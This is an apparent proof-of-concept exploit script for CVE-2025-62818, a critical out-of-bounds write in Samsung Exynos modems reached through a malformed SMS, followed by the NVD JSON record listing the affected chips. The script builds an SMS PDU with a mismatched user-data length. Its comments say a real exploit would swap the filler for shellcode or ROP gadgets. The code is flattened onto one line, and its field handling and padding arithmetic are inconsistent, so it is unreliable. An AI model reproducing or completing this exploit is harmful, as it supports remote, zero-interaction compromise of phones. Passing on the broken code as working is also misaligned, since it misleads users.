CVE-2025-62818

# PoC for CVE-2025-62818: Samsung Exynos SMS TP-UD OOB Write # This script demonstrates the construction of a malformed SMS PDU. # The vulnerability is triggered when TP-UDHI and UDL values are mismatched. def generate_malformed_sms(): # SCA (Service Center Address) - Length 0 implies default SC sca = "00" # PDU Type (First Octet) # TP-MTI: 01 (SMS-SUBMIT) # TP-UDHI: 1 (User Data Header present) # TP-RD: 0, TP-VPF: 10, TP-SRR: 0 pdu_type = "01" # Binary: 00000001 (Simplified for PoC structure) # Actually combining bits: Submit(01) + UDHI(40) -> 41 first_octet = "41" # TP-MR (Message Reference) mr = "00" # TP-DA (Destination Address) # Length and Type da_len = "0B" # 11 digits da_type = "91" # International da_number = "116100323456F7" # Example number # TP-PID (Protocol Identifier) pid = "00" # TP-DCS (Data Coding Scheme) dcs = "00" # TP-VP (Validity Period) vp = "AA" # TP-UDL (User Data Length) - The trigger # Setting a length that causes buffer overflow relative to UDH ud_len = "FF" # 255 bytes claimed # TP-UD (User Data) # UDH Header IEI, IEDL, IED # Example: Application Port Addressing (0x05) udh = "05" # IEI udh += "04" # IEDL (4 bytes data) udh += "8102F301" # IED (Port 2948 to 3502) # Padding to simulate the payload causing OOB write # In a real exploit, this payload would contain shellcode or ROP gadgets payload = "A" * (int(ud_len, 16) - len(udh) - 1) # Construct full PDU # Note: UDL calculation in the firmware is the vulnerable part pdu = sca + first_octet + mr + da_len + da_type + da_number + pid + dcs + vp + ud_len + udh + payload return pdu if __name__ == "__main__": print("[+] Generating malformed SMS PDU for CVE-2025-62818") payload = generate_malformed_sms() print(f"[+] Malformed PDU Hex: {payload}")

{"cve": {"id": "CVE-2025-62818", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:34.060", "lastModified": "2026-04-13T15:31:39.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. An out-of-bounds write occurs due to a mismatch between the TP-UDHI and UDL values when processing an SMS TP-UD packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria" ... 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